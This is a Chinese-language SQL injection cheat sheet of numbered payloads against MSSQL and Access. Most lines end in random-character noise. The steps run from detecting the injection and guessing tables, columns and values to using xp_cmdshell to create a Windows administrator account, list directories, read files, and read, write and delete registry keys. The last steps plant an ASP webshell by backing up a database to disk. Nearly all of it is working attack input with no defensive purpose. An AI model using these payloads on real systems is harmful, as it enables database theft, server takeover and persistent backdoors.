1.判断是否有注入;and 1=1 ;and 1=2 >FO4]
2.初步判断是否是mssql ;and user>0 grvm2`u
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3.注入参数是字符'and [查询条件] and ''=' I
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Yt]tRqrh;T
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5.判断数据库系统 RCXm</
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;and (select count(*) from sysobjects)>0 mssql (mO{W
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;and (select count(*) from msysobjects)>0 access D{-h2=V
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 8Ld`$_E
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ``;.Oy6jS
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 H1?t2\V4
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9.(1)猜字段的ascii值(access) }ufzlHD
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3.i$lp`t
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(2)猜字段的ascii值(mssql) 2TFb!?/RQ
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mS\gh)<h
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10.测试权限结构(mssql) <WXGDCj
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- @nC][gNv
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rJjNoY
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- XmZs4~\K$G
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ?;GbK2\bj
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- fL^$G;_?3
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7
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;and 1=(select IS_MEMBER('db_owner'));-- Kw%to9eh)
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11.添加mssql和系统的帐户 :P2{^0$
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;exec master.dbo.sp_addlogin username;-- ;[qA?<GJ
;exec master.dbo.sp_password null,username,password;-- <?2g\+{s9
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5dvP~sw
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;exec master.dbo.xp_cmdshell 'net user username password J-UqH3({Z,
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- lU\v8!Ji
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- w@![rH6~F
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- D'8xP %P
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12.(1)遍历目录 `{oFdvL~)
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;create table dirs(paths varchar(100), id int) &Z3u(Eb
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;insert dirs exec master.dbo.xp_dirtree 'c:\' MdC}!&W
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;and (select top 1 paths from dirs)>0 +=Y[RCXT
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Qi= pP/Y
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(2)遍历目录 *Cj<Vy
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- APJVD-
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 !MyCxM6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ip+?k<]z
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 &cpqn2Z
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 20,}T)}Tm
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13.mssql中的存储过程 ,k9xI<i
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xp_regenumvalues 注册表根键, 子键
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D_Zt:tzO
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xp_regread 根键,子键,键值名 4[lym,8C
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;exec xp_regread YlC$L$%Zd.
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X()yhe_
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xp_regwrite 根键,子键, 值名, 值类型, 值 hnnVp_<]
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $xqX[ocor
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 gQYs,
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xp_regdeletevalue 根键,子键,值名 ` yYYyB[
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 zq'KX/o
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 XS(Q)\"
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14.mssql的backup创建webshell sh/4ui{
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use model v;nnr0;
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create table cmd(str image); =/+f3
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insert into cmd(str) values (''); no,b_0@N
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backup database model to disk='c:\l.asp'; $EnBigb!
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15.mssql内置函数 HE:]zH
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;and (select @@version)>0 获得Windows的版本号 6Zx)L|B
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa S@@#L
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;and (select user_name())>0 爆当前系统的连接用户 Ce:w^P+
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;and (select db_name())>0 得到当前连接的数据库 .1:B\R((
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16.简洁的webshell BU O8Z]
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use model -VvN1G6.x?
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create table cmd(str image); q4SEvP}fLx
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insert into cmd(str) values (''); c6cB
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backup database model to disk='g:\wwwtest\l.asp';